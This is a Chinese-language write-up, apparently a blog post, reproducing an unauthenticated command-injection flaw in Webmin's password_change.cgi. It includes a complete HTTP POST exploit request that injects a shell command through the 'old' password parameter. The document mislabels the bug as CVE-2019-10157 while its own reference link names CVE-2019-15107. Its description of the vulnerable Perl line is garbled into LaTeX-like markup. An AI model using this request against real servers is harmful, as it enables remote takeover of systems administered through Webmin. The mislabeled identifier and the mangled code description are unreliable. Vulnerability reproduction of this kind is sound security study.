cve-2019-10157复现

什么是webmin

先了解下webmin:Webmin是功能最强大的基于Web的Unix系统管理工具。管理员通过浏览器访问Webmin的各种管理功能并完成相应的管理动作。Webmin支持绝大多数的Unix系统，这些系统除了各种版本的linux以外还包括：AIX、HPUX、Solaris、Unixware、Irix和FreeBSD等。
当其版本小于1.920时存在rec远程代码执行，由于password_change.cgi文件的密码重置功能中存在代码执行漏洞，该漏洞允许恶意第三方在没有输入验证的情况下执行恶意代码

配置好环境后我们进入端口10000这里有个小坑（webmin默认开启了ssl，要用https协议，并且忽略证书

漏洞原理

12行会判断网站是否开启了密码重置功能；14-16行代码会判断用户输入的新密码new1、new2是否规范.针对用户提交不存在的用户user或旧密码old错误的情况下会触发上面代码片段pass_error()进行错误信息打印，但是这个函数里面的参数是存在严重问题的，40行参数通过$text{}^{\prime }passwor{d}_{e}ol{d}^{\prime }与qx/$in{‘old’}/进行拼接，$text{}^{\prime }passwor{d}_{e}ol{d}^{\prime }为正常一个字符串"Thecurrentpasswordisincorrect"，而qx/$in{‘old’}/则是一个可执行系统命令的代码片段，在perl中，qx//的用法为执行系统命令

poc

整体分析漏洞利用如下：
1.开启密码重置功能【针对有些版本不需要开启密码重置功能，比如：webmin 1.890】
2、user不存在、old=任意字符|系统命令、new1new2 或者 user不存在、old=系统命令、new1new2 或者 user存在但不为特定系统用户【指webmin添加的系统用户】、old为假（任意字符|系统命令 或 系统命令）、new1==new2
POST /password_change.cgi HTTP/1.1
Host: your-ip:10000
Accept-Encoding: gzip, deflate
Accept: /
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Cookie: redirect=1; testing=1; sid=x; sessiontest=1
Referer: https://your-ip:10000/session_login.cgi
Content-Type: application/x-www-form-urlencoded
Content-Length: 60
user=rootxx&pam=&expired=2&old=test|id&new1=test2&new2=test2
结果如下

最后如果需要详细分析以及利用，可以参考如下链接：https://qftm.github.io/2020/10/25/CVE-2019-15107-Webmin-RCE-Backdoor/#toc-heading-8 大佬写的很详细